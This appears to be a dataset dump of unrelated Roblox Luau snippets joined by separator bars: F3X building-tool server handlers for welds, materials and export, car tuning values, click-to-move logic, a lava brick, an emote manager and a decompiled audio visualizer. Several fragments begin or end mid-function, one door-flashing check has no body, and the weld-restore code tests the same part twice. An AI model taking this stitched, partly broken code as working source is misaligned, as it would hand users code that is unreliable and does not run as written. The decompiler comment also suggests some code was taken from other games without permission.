local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
Part.Anchored = Change.Anchored;
end;
end;
['SyncCollision'] = function (Changes)
-- Updates parts server-side given their new collision status
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
Part.CanCollide = Change.CanCollide;
end;
end;
['SyncMaterial'] = function (Changes)
-- Updates parts server-side given their new material
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
if Change.Material ~= nil then
Part.Material = Change.Material;
end;
if Change.Transparency ~= nil then
Part.Transparency = Change.Transparency;
end;
if Change.Reflectance ~= nil then
Part.Reflectance = Change.Reflectance;
end;
end;
end;
['CreateWelds'] = function (Parts, TargetPart)
-- Creates welds for the given parts to the target part
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
local Welds = {};
-- Create the welds
for _, Part in pairs(Parts) do
-- Make sure we're not welding this part to itself
if Part ~= TargetPart then
-- Calculate the offset of the part from the target part
local Offset = Part.CFrame:toObjectSpace(TargetPart.CFrame);
-- Create the weld
local Weld = Instance.new('Weld');
Weld.Name = 'BTWeld';
Weld.Part0 = TargetPart;
Weld.Part1 = Part;
Weld.C1 = Offset;
Weld.Archivable = true;
Weld.Parent = TargetPart;
-- Register the weld
CreatedInstances[Weld] = Weld;
table.insert(Welds, Weld);
end;
end;
-- Return the welds created
return Welds;
end;
['RemoveWelds'] = function (Welds)
-- Removes the given welds
local Parts = {};
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Make sure each given weld is valid
if Weld.ClassName ~= 'Weld' then
return;
end;
-- Collect the relevant parts for this weld
table.insert(Parts, Weld.Part0);
table.insert(Parts, Weld.Part1);
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
local WeldsRemoved = 0;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Check the permissions on each weld-related part
local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, true, AreaPermissions);
local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part1 }, Player, true, AreaPermissions);
-- If at least one of the involved parts is authorized, remove the weld
if not Part0Unauthorized or not Part1Unauthorized then
-- Register the weld
CreatedInstances[Weld] = Weld;
LastParents[Weld] = Weld.Parent;
WeldsRemoved = WeldsRemoved + 1;
-- Remove the weld
Weld.Parent = nil;
end;
end;
-- Return the number of welds removed
return WeldsRemoved;
end;
['UndoRemovedWelds'] = function (Welds)
-- Restores the given removed welds
local Parts = {};
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Make sure each given weld is valid
if Weld.ClassName ~= 'Weld' then
return;
end;
-- Make sure each weld has its old parent registered
if not LastParents[Weld] then
return;
end;
-- Collect the relevant parts for this weld
table.insert(Parts, Weld.Part0);
table.insert(Parts, Weld.Part1);
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Go through each weld
for _, Weld in pairs(Welds) do
-- Check the permissions on each weld-related part
local Part0Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions);
local Part1Unauthorized = Security.ArePartsViolatingAreas({ Weld.Part0 }, Player, false, AreaPermissions);
-- If at least one of the involved parts is authorized, restore the weld
if not Part0Unauthorized or not Part1Unauthorized then
-- Store the part's current parent
local LastParent = LastParents[Weld];
LastParents[Weld] = Weld.Parent;
-- Register the weld
CreatedInstances[Weld] = Weld;
-- Set the weld's parent to the last parent
Weld.Parent = LastParent;
end;
end;
end;
['Export'] = function (Parts)
-- Serializes, exports, and returns ID for importing given parts
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('Export', Parts);
end;
-- Ensure valid selection
assert(type(Parts) == 'table', 'Invalid item table');
-- Ensure there are items to export
if #Parts == 0 then
return;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to access these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Get all descendants of the parts
local Items = Support.CloneTable(Parts);
for _, Part in pairs(Parts) do
Support.ConcatTable(Items, Part:GetDescendants());
end;
-- After confirming permissions, serialize parts
local SerializedBuildData = Serialization.SerializeModel(Items);
-- Push serialized data to server
local Response = HttpService:JSONDecode(
HttpService:PostAsync(
'http://f3xteam.com/bt/export',
HttpService:JSONEncode { data = SerializedBuildData, version = 3, userId = (Player and Player.UserId) },
Enum.HttpContentType.ApplicationJson,
true
)
);
-- Return creation ID on success
if Response.success then
return Response.id;
else
error('Export failed due to server-side error', 2);
end;
end;
['IsHttpServiceEnabled'] = function ()
-- Returns whether HttpService is enabled
-- Offload action to server-side if API is running locally
if RunService:IsClient() then
return SyncAPI.ServerEndpoint:InvokeServer('IsHttpServiceEnabled')
end
-- Return cached status if available
if IsHttpServiceEnabled ~= nil then
return IsHttpServiceEnabled
end
-- Perform test HTTP request
local DidSucceed, Result = pcall(function ()
return HttpService:GetAsync('https://google.com')
end)
-- Determine whether HttpService is enabled based on whether request succeeded
if DidSucceed then
IsHttpServiceEnabled = true
elseif (not DidSucceed) and Result:match('Http requests are not enabled') then
IsHttpServiceEnabled = false
end
return IsHttpServiceEnabled or false
end;
['ExtractMeshFromAsset'] = function (AssetId)
-- Returns the first found mesh in the given asset
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('ExtractMeshFromAsset', AssetId);
end;
-- Ensure valid asset ID is given
assert(type(AssetId) == 'number', 'Invalid asset ID');
-- Return parsed response from API
return HttpService:JSONDecode(
HttpService:GetAsync('http://f3xteam.com/bt/getFirstMeshData/' .. AssetId)
);
end;
['ExtractImageFromDecal'] = function (DecalAssetId)
-- Returns the first image found in the given decal asset
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('ExtractImageFromDecal', DecalAssetId);
end;
-- Return direct response from the API
return HttpService:GetAsync('http://f3xteam.com/bt/getDecalImageID/' .. DecalAssetId);
end;
['SetMouseLockEnabled'] = function (Enabled)
-- Sets whether mouse lock is enabled for the current player
-- Offload action to server-side if API is running locally
if RunService:IsClient() and not RunService:IsStudio() then
return SyncAPI.ServerEndpoint:InvokeServer('SetMouseLockEnabled', Enabled);
end;
-- Set whether mouse lock is enabled
Player.DevEnableMouseLock = Enabled;
end;
['SetLocked'] = function (Items, Locked)
-- Locks or unlocks the specified parts
-- Validate arguments
assert(type(Items) == 'table', 'Invalid items')
assert(type(Locked) == 'table' or type(Locked) == 'boolean', 'Invalid lock state')
-- Check if items modifiable
if not CanModifyItems(Items) then
return
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Items)
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player)
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return
end
-- Set each item to a different lock state
if type(Locked) == 'table' then
for Key, Item in pairs(Items) do
local Locked = Locked[Key]
Item.Locked = Locked
end
-- Set to single lock state
elseif type(Locked) == 'boolean' then
for _, Item in pairs(Items) do
Item.Locked = Locked
end
end
end
}
function CanModifyItems(Items)
-- Returns whether the items can be modified
-- Check each item
for _, Item in pairs(Items) do
-- Catch items that cannot be reached
local ItemAllowed = Security.IsItemAllowed(Item, Player)
local LastParentKnown = LastParents[Item]
if not (ItemAllowed or LastParentKnown) then
return false
end
-- Catch locked parts
if Options.DisallowLocked and (Item:IsA 'BasePart') and Item.Locked then
return false
end
end
-- Return true if all items modifiable
return true
end
function GetPartsFromSelection(Selection)
local Parts = {}
-- Get parts from selection
for _, Item in pairs(Selection) do
if Item:IsA 'BasePart' then
Parts[#Parts + 1] = Item
-- Get parts within other items
else
for _, Descendant in pairs(Item:GetDescendants()) do
if Descendant:IsA 'BasePart' then
Parts[#Parts + 1] = Descendant
end
end
end
end
-- Return parts
return Parts
end
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = 1.5
Tune.RCamber = 1.5
Tune.FToe = 0
Tune.RToe = 0
|
-- Libraries
|
local Libraries = Tool:WaitForChild 'Libraries'
local Make = require(Libraries:WaitForChild 'Make')
|
-------------------------------------------------------------------------
|
local function CheckAlive()
local humanoid = findPlayerHumanoid(Player)
return humanoid ~= nil and humanoid.Health > 0
end
local function GetEquippedTool(character: Model?)
if character ~= nil then
for _, child in pairs(character:GetChildren()) do
if child:IsA('Tool') then
return child
end
end
end
end
local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil
local function CleanupPath()
if ExistingPather then
ExistingPather:Cancel()
ExistingPather = nil
end
if PathCompleteListener then
PathCompleteListener:Disconnect()
PathCompleteListener = nil
end
if PathFailedListener then
PathFailedListener:Disconnect()
PathFailedListener = nil
end
if ExistingIndicator then
ExistingIndicator:Destroy()
end
end
local function HandleMoveTo(thisPather, hitPt, hitChar, character, overrideShowPath)
if ExistingPather then
CleanupPath()
end
ExistingPather = thisPather
thisPather:Start(overrideShowPath)
PathCompleteListener = thisPather.Finished.Event:Connect(function()
CleanupPath()
if hitChar then
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
end
end
end)
PathFailedListener = thisPather.PathFailed.Event:Connect(function()
CleanupPath()
if overrideShowPath == nil or overrideShowPath then
local shouldPlayFailureAnim = PlayFailureAnimation and not (ExistingPather and ExistingPather:IsActive())
if shouldPlayFailureAnim then
ClickToMoveDisplay.PlayFailureAnimation()
end
ClickToMoveDisplay.DisplayFailureWaypoint(hitPt)
end
end)
end
local function ShowPathFailedFeedback(hitPt)
if ExistingPather and ExistingPather:IsActive() then
ExistingPather:Cancel()
end
if PlayFailureAnimation then
ClickToMoveDisplay.PlayFailureAnimation()
end
ClickToMoveDisplay.DisplayFailureWaypoint(hitPt)
end
function OnTap(tapPositions: {Vector3}, goToPoint: Vector3?, wasTouchTap: boolean?)
-- Good to remember if this is the latest tap event
local camera = Workspace.CurrentCamera
local character = Player.Character
if not CheckAlive() then return end
-- This is a path tap position
if #tapPositions == 1 or goToPoint then
if camera then
local unitRay = camera:ScreenPointToRay(tapPositions[1].X, tapPositions[1].Y)
local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000)
local myHumanoid = findPlayerHumanoid(Player)
local hitPart, hitPt, hitNormal = Utility.Raycast(ray, true, getIgnoreList())
local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart)
if wasTouchTap and hitHumanoid and StarterGui:GetCore("AvatarContextMenuEnabled") then
local clickedPlayer = Players:GetPlayerFromCharacter(hitHumanoid.Parent)
if clickedPlayer then
CleanupPath()
return
end
end
if goToPoint then
hitPt = goToPoint
hitChar = nil
end
if hitPt and character then
-- Clean up current path
CleanupPath()
local thisPather = Pather(hitPt, hitNormal)
if thisPather:IsValidPath() then
HandleMoveTo(thisPather, hitPt, hitChar, character)
else
-- Clean up
thisPather:Cleanup()
-- Feedback here for when we don't have a good path
ShowPathFailedFeedback(hitPt)
end
end
end
elseif #tapPositions >= 2 then
if camera then
-- Do shoot
local currentWeapon = GetEquippedTool(character)
if currentWeapon then
currentWeapon:Activate()
end
end
end
end
local function DisconnectEvent(event)
if event then
event:Disconnect()
end
end
|
---------------------------------------------DounutGuy's Lava Brick!------------------------------------------------
|
function onTouch(part)
local h = part.Parent:findFirstChild("Humanoid")
if (h ~= nil) then
h.Health = 0
end
end
script.Parent.Touched:connect(onTouch)
|
--------END RIGHT DOOR 2--------
|
wait(0.1)
if game.Workspace.DoorFlashing.Value == true then
|
-- Initialize weld tool
|
local WeldTool = require(CoreTools:WaitForChild 'Weld')
Core.AssignHotkey('F', Core.Support.Call(Core.EquipTool, WeldTool));
Core.AddToolButton(Core.Assets.WeldIcon, 'F', WeldTool)
|
--[[
Sets the locked status of the given emote for the specified player. The
player will be updated of this change via a RemoteEvent.
Parameters:
- player - The Player whose emote lock status will be changed
- emoteName - The name of the emote that will have its lock status changed
- isLocked - The lock status to change to
]]
|
function EmoteManager:setEmoteIsLockedForPlayer(player, emoteName, isLocked)
-- Wait for all setup for the player to complete before changing the locked
-- status of an emote
if not self.playerOwnedEmotes[player.UserId] then
local updatedPlayerId = nil
while updatedPlayerId ~= player.UserId do
updatedPlayerId = self.updatedPlayerEmotes.Event:Wait()
end
end
local allPlayerEmotes = self.playerEmoteConfig[player.UserId]
local emote = allPlayerEmotes[emoteName]
if emote then
local newEmotes = Cryo.Dictionary.join(allPlayerEmotes, {
[emoteName] = Cryo.Dictionary.join(emote, {
isLocked = isLocked,
}),
})
self.playerEmoteConfig[player.UserId] = newEmotes
self.remotes.sendUpdatedEmotes:FireClient(player, newEmotes)
else
error(string.format("The emote with the name %s does not exist", emoteName))
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
while true do
wait();
if workspace:FindFirstChild("Song") then
break;
end;
end;
while true do
wait();
if script.Parent:FindFirstChild("Where") then
break;
end;
end;
while true do
wait();
if script.Parent:FindFirstChild("Where").Value ~= nil then
break;
end;
end;
while wait() do
if workspace.Song.PlaybackLoudness / 120 <= 3.5 then
script.Parent.Where.Value.Size = NumberSequence.new(workspace.Song.PlaybackLoudness / 120);
else
script.Parent.Where.Value.Size = NumberSequence.new(3.5);
end;
end;
|
----------//Events\\----------
|
Evt.Refil.OnClientEvent:Connect(function(Tool, Infinite, Stored)
local data = require(Tool.ACS_Settings)
Evt.Refil:FireServer(Tool, Infinite, Stored, data.MaxStoredAmmo, StoredAmmo)
end)
|
--[[Weight and CG]]
|
Tune.Weight = 2200 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.